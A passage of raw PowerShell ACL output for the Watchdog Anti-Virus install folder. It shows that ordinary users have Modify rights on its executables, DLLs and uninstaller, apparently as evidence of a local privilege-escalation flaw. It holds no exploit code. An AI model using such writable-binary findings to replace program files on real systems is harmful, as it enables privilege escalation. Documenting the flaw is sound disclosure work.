         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\unins000
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
```

```
Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\unins000
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\vcruntim
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\vcruntim
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\vcruntim
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
```

```
Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\WAV.deps
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\WAV.Diag
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\WAV.Diag
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\WAV.Diag
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\WAV.Diag
```

```
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\WAV.dll
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\WAV.Doma
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\WAV.runt
Owner  : BUILTIN\Administrators
```

```
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\WAV.Scit
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\WAV.SDK.
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\WAV.Shar
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\wsdk-ant
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
```

```
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\wsdk-dri
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\.sentry-
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT SERVICE\TrustedInstaller Allow  FullControl
         NT SERVICE\TrustedInstaller Allow  268435456
         NT AUTHORITY\SYSTEM Allow  FullControl
         NT AUTHORITY\SYSTEM Allow  268435456
         BUILTIN\Administrators Allow  FullControl
         BUILTIN\Administrators Allow  268435456
         BUILTIN\Users Allow  -1610612736
         CREATOR OWNER Allow  268435456
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  -1610612736
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  -1610612736
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;OICIID;0x1301bf;;;BU)(A;ID;FA;;
         418522649-1831038044-1853292631-2271478464)(A;CIIOID;GA;;;S-1-5-80-956008885-3418522649-1
         2271478464)(A;ID;FA;;;SY)(A;OICIIOID;GA;;;SY)(A;ID;FA;;;BA)(A;OICIIOID;GA;;;BA)(A;OICIIOI
         ID;GA;;;CO)(A;ID;0x1200a9;;;AC)(A;OICIIOID;GXGR;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)(A;OICII
         )

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog
         Anti-Virus\.sentry-native\b78311f7-70d6-4ba6-3e3c-6fcc6b771e67.run
Owner  : DESKTOP-8B89BFF\dev
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
```

```
         NT SERVICE\TrustedInstaller Allow  FullControl
         NT SERVICE\TrustedInstaller Allow  268435456
         NT AUTHORITY\SYSTEM Allow  FullControl
         NT AUTHORITY\SYSTEM Allow  268435456
         BUILTIN\Administrators Allow  FullControl
         BUILTIN\Administrators Allow  268435456
         BUILTIN\Users Allow  -1610612736
         DESKTOP-8B89BFF\dev Allow  FullControl
         CREATOR OWNER Allow  268435456
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  -1610612736
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  -1610612736
Audit  :
Sddl   : O:S-1-5-21-2015969053-4181822921-3402349266-1000G:S-1-5-21-2015969053-4181822921-34023492
         x1301bf;;;BU)(A;ID;FA;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464)(A
         -956008885-3418522649-1831038044-1853292631-2271478464)(A;ID;FA;;;SY)(A;OICIIOID;GA;;;SY)
         IOID;GA;;;BA)(A;OICIIOID;GXGR;;;BU)(A;ID;FA;;;S-1-5-21-2015969053-4181822921-3402349266-1
         CO)(A;ID;0x1200a9;;;AC)(A;OICIIOID;GXGR;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)(A;OICIIOID;GXGR

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\.sentry-
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT SERVICE\TrustedInstaller Allow  FullControl
         NT SERVICE\TrustedInstaller Allow  268435456
         NT AUTHORITY\SYSTEM Allow  FullControl
         NT AUTHORITY\SYSTEM Allow  268435456
         BUILTIN\Administrators Allow  FullControl
         BUILTIN\Administrators Allow  268435456
         BUILTIN\Users Allow  -1610612736
         CREATOR OWNER Allow  268435456
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  -1610612736
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  -1610612736
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;OICIID;0x1301bf;;;BU)(A;ID;FA;;
         418522649-1831038044-1853292631-2271478464)(A;CIIOID;GA;;;S-1-5-80-956008885-3418522649-1
         2271478464)(A;ID;FA;;;SY)(A;OICIIOID;GA;;;SY)(A;ID;FA;;;BA)(A;OICIIOID;GA;;;BA)(A;OICIIOI
         ID;GA;;;CO)(A;ID;0x1200a9;;;AC)(A;OICIIOID;GXGR;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)(A;OICII
         )

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog
         Anti-Virus\.sentry-native\b78311f7-70d6-4ba6-3e3c-6fcc6b771e67.run.lock
Owner  : DESKTOP-8B89BFF\dev
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
```

```
         BUILTIN\Administrators Allow  FullControl
         DESKTOP-8B89BFF\dev Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:S-1-5-21-2015969053-4181822921-3402349266-1000G:S-1-5-21-2015969053-4181822921-34023492
         1bf;;;BU)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;FA;;;S-1-5-21-2015969053-4181822921-3402349266
         ;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\.sentry-
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\.sentry-
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog
         Anti-Virus\.sentry-native\b78311f7-70d6-4ba6-3e3c-6fcc6b771e67.run\session.json
Owner  : DESKTOP-8B89BFF\dev
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         DESKTOP-8B89BFF\dev Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:S-1-5-21-2015969053-4181822921-3402349266-1000G:S-1-5-21-2015969053-4181822921-34023492
         1bf;;;BU)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;FA;;;S-1-5-21-2015969053-4181822921-3402349266
         ;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog
```

```
         Anti-Virus\.sentry-native\b78311f7-70d6-4ba6-3e3c-6fcc6b771e67.run\__sentry-breadcrumb1
Owner  : DESKTOP-8B89BFF\dev
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         DESKTOP-8B89BFF\dev Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:S-1-5-21-2015969053-4181822921-3402349266-1000G:S-1-5-21-2015969053-4181822921-34023492
         1bf;;;BU)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;FA;;;S-1-5-21-2015969053-4181822921-3402349266
         ;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog
         Anti-Virus\.sentry-native\b78311f7-70d6-4ba6-3e3c-6fcc6b771e67.run\__sentry-breadcrumb2
Owner  : DESKTOP-8B89BFF\dev
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         DESKTOP-8B89BFF\dev Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:S-1-5-21-2015969053-4181822921-3402349266-1000G:S-1-5-21-2015969053-4181822921-34023492
         1bf;;;BU)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;FA;;;S-1-5-21-2015969053-4181822921-3402349266
         ;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog
         Anti-Virus\.sentry-native\b78311f7-70d6-4ba6-3e3c-6fcc6b771e67.run\__sentry-event
Owner  : DESKTOP-8B89BFF\dev
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         DESKTOP-8B89BFF\dev Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:S-1-5-21-2015969053-4181822921-3402349266-1000G:S-1-5-21-2015969053-4181822921-34023492
         1bf;;;BU)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;FA;;;S-1-5-21-2015969053-4181822921-3402349266
         ;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\DefaultD
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
```

```
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\DefaultD
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
